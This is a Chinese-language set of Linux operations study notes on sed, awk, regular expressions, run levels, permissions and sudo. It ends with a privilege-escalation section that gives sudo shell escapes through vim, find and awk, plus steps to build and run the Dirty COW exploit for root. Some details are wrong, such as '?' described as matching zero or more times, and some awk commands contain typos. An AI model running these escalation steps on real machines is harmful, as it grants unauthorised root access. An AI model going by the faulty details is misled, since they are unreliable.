-r: sed的动作支持的是延伸型正则表示法的语法。(默认是基础正则表示法语法)
-i: 直接修改读取的文件内容,而不是输出到终端。
动作说明:[n1[,n2]lfunction
n1,n2一般表示为行号
function:
a: 指定行后面插入一行
d: 删除
i: 指定行前面插入一行
p: 打印,#一般和前面的-n参数一起用
s: 替换需要I忽略大小写,全局替换需要g
3、awk
# 擅长取列
用法,取列
例如1: 取列
awk '{print $1}' 1.txt
awk '{print $1,$7}' /etc/passwd
例如2: 指定分隔符
awk -F ":"'{print $7,$1}'/etc/passwd
例子3:拼凑指定文本,双引号之间原样输出
awk -F “:” ‘{print $1":123:"$7}'/etc/passwd
例子4: 过滤文本
awk -F "[ /]+" 'S2~/^47/' 1.txt
例子5: 根据行号筛选内容
awk 'NR<=3{print $0}' 1.txt # > < == >= <=
4、正则表达式
1、什么是正则表达式?
简单的说,正则表达式就是一套处理大量的字符串而定义的规则和方法。
例如:假设 @代表12345
通过正则表达式这些特殊符号,我们可以快速的过滤、替换需要的内容。
Linux正则一般以行为单位处理的。
2、正则表达式
1、^ 表示搜索以什么开头。
2、$ 表示搜索以什么结尾。
3、^$表示空行,不是空格。
4、. 代表且只能代表任意一个字符。
5、\ 转义字符,让有着特殊身份意义的字符,脱掉马甲,还原原型。
例如:\.只表示小数点,还原原始小数点的意义。
6、* 重复0个或多个前面的一个字符。不代表所有了。
7、.* 匹配所有的字符。^.*任意多个字符开头
8、[abc] 匹配字符集合内任意一个字符[a-z]
9、[^abc] ^再中括号里面表示非,不包含a或b或c。
10、{n,m} 重复n到m次,前一个字符
11、+ 重复1次到多次
12、? 重复0次到多次
取ip的例子:
ip addr|grep -Eo '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}'|sed -n '2p'
grep 'Failed password' secure |grep -Eo '[0-9]{1,3}\.[0-9.]+'
取root用户登录时间
lastlog|sed -n'/root/p'|grep -Eo'[0-9]{2}:[0-9]{2}:[0-9]{2}'
21、Linux运行级别
运行级别 0 关机
运行级别 1 单用户
运行级别 2 不带网络的多用户
运行级别 3 完整的多用户模式
运行级别 4 保留
运行级别 5 桌面模式
运行级别 6 重启
# 切换运行级别
init
# 查看运行级别
systemctl get-default
# 设置运行级别
systemctl set-default graphical.target # 设置默认运行级别为图形
systemctl set-default multi-user.target # 设置默认运行级别为命令行
1、权限掩码
# 修改文件vim /etc/profile
root 默认权限掩码 022
普通用户 默认权限掩码 002
inode: 存储除文件名以外的属性
block:存储文件的内容,目录的block存储,该目录下的文件名和它的inode编号
2、特殊权限
suid 其他用户,拥有该文件属主的执行权限 针对命令文件
sgid 其他用户,拥有该文件属组的权限locate 针对命令文件
sticky 粘滞位 很多用户共同使用的目录,实现用户之间不能互相删除改变对方的文件的权限
3、su和sudo
su == switch user
sudo == superuser do
1.配置/etc/sudoers
# 用户名 所有终端 = 运行的用户身份 命令ALL
zhangsan ALL=(ALL) /bin/systemctl,/usr/bin/vim
2.使用sudo执行命令
# 使用sudo来执行命令
sudo systemctl stop network # start,stop,restart
# 查看可以使用的授权命令
sudo -l
22、Linux普通用户提权
sudo提权
vim # 命令模式执行: !/
find # sudo find .-exec bash \;
awk # sudo awk 'BEGIN {system("/bin/bash")}’
脏牛提权
仓库地址:https://github.com/gbonacini/CVE-2016-5195
# 上传文件 脏牛提权.zip
unzip 脏牛提权.zip
cd CVE-2016-5195-master/
make # 编译
./dcow -s # 提权
Linux 作为现代操作系统的核心技术之一,其强大的命令行工具和灵活的权限管理体系为运维工程师提供了无与伦比的操作自由度。通过掌握本文涉及的核心命令、权限控制、文本处理工具及自动化脚本编写技巧,您可以更高效地完成日常运维任务,并在复杂的生产环境中游刃有余。希望这些知识点能为您在 Linux 学习与实践的道路上奠定坚实的基础,助力您成为一名优秀的 Linux 运维专家!